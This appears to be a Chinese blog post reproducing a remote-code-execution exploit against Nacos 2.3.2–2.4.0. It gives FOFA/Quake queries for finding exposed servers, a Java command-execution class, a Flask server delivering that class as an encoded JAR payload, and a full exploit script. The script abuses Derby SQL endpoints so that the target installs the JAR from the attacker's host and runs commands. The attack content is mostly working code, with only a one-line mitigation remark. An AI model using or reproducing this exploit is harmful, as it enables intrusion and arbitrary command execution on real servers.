当前位置:   article > 正文

Nacos最新0day漏洞复现_nacos 0day

nacos 0day

目录

一、漏洞原理

二、版本信息

三、资产测绘

四、poc信息

五、总结


一、漏洞原理

   漏洞的核心在于 Nacos 的某些接口没有严格的权限控制,攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据,从而执行任意代码。下载nacos代码搭建环境https://github.com/ayoundzw/nacos-poc这次漏洞 需要登录到后才才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷,攻击者能够通过特定的 JSON 数据结构,远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。

启动nacos:

D:\nacos\bin>startup.cmd -m standalone

二、版本信息

目前据说版本是2.32-2.40版本

三、资产测绘

fofa: app="NACOS"

quake: app:"NACOS"

四、poc信息

利用工具:

GitHub - ayoundzw/nacos-poc

构造恶意类:

  1. package test.poc;
  2. import java.io.BufferedReader;
  3. import java.io.IOException;
  4. import java.io.InputStream;
  5. import java.io.InputStreamReader;
  6. import java.io.PrintWriter;
  7. import java.io.StringWriter;
  8. public class Example {
  9. public Example() {
  10. }
  11. public static void main(String[] args) {
  12. String ret = exec("ipconfig");
  13. System.out.println(ret);
  14. }
  15. public static String exec(String cmd) {
  16. StringBuffer bf = new StringBuffer();
  17. try {
  18. String charset = "utf-8";
  19. String osName = System.getProperty("os.name");
  20. if (osName != null && osName.startsWith("Windows")) {
  21. charset = "gbk";
  22. }
  23. Process p = Runtime.getRuntime().exec(cmd);
  24. InputStream fis = p.getInputStream();
  25. InputStreamReader isr = new InputStreamReader(fis, charset);
  26. BufferedReader br = new BufferedReader(isr);
  27. String line = null;
  28. while((line = br.readLine()) != null) {
  29. bf.append(line);
  30. }
  31. } catch (Exception var10) {
  32. StringWriter writer = new StringWriter();
  33. PrintWriter printer = new PrintWriter(writer);
  34. var10.printStackTrace(printer);
  35. try {
  36. writer.close();
  37. printer.close();
  38. } catch (IOException var9) {
  39. }
  40. return "ERROR:" + writer.toString();
  41. }
  42. return bf.toString();
  43. }
  44. }

启动恶意服务端:python server.py,把上面的恶意类通过b64压缩处理,加载在flask服务端当作服务器资源:

  1. ###python server.py
  2. import base64
  3. from flask import Flask, send_file,Response
  4. import config
  5. server_host = '127.0.0.1'
  6. server_port = 5000
  7. ##java恶意数据:
  8. payload = b'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'
  9. app = Flask(__name__)
  10. @app.route('/download')
  11. def download_file():
  12. data = base64.b64decode(payload)
  13. response = Response(data, mimetype="application/octet-stream")
  14. # response.headers["Content-Disposition"] = "attachment; filename=file.bin"
  15. return response
  16. if __name__ == '__main__':
  17. app.run(host=server_host, port=server_port)

利用:python exploit.py

  1. 利用:python exploit.py
  2. import random
  3. import sys
  4. import requests
  5. from urllib.parse import urljoin
  6. import config
  7. def exploit(target, command, service):
  8. removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
  9. derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
  10. for i in range(0,sys.maxsize):
  11. id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
  12. post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
  13. CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
  14. CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
  15. option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
  16. get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
  17. #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
  18. files = {'file': post_sql}
  19. post_resp = requests.post(url=removal_url,files=files)
  20. post_json = post_resp.json()
  21. if post_json.get('message',None) is None and post_json.get('data',None) is not None:
  22. print(post_resp.text)
  23. get_resp = requests.get(url=derby_url,params={'sql':get_sql})
  24. print(get_resp.text)
  25. break
  26. if __name__ == '__main__':
  27. service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
  28. target = 'http://127.0.0.1:8848'
  29. command = 'calc'
  30. target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
  31. command = input('请输入命令,默认:calc:') or command
  32. exploit(target=target, command=command,service=service)

命令执行:

五、总结

这个漏洞其实就是加载远程的service.py放置的远程jar包,并使用Derby数据库中的执行命令去执行jar包中的命令,暂时缓解方法就是设置好认证策略和方法,修复未授权漏洞,毕竟需要登录之后才能利用。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Li_阴宅/article/detail/1012130
推荐阅读
相关标签
  

闽ICP备14008679号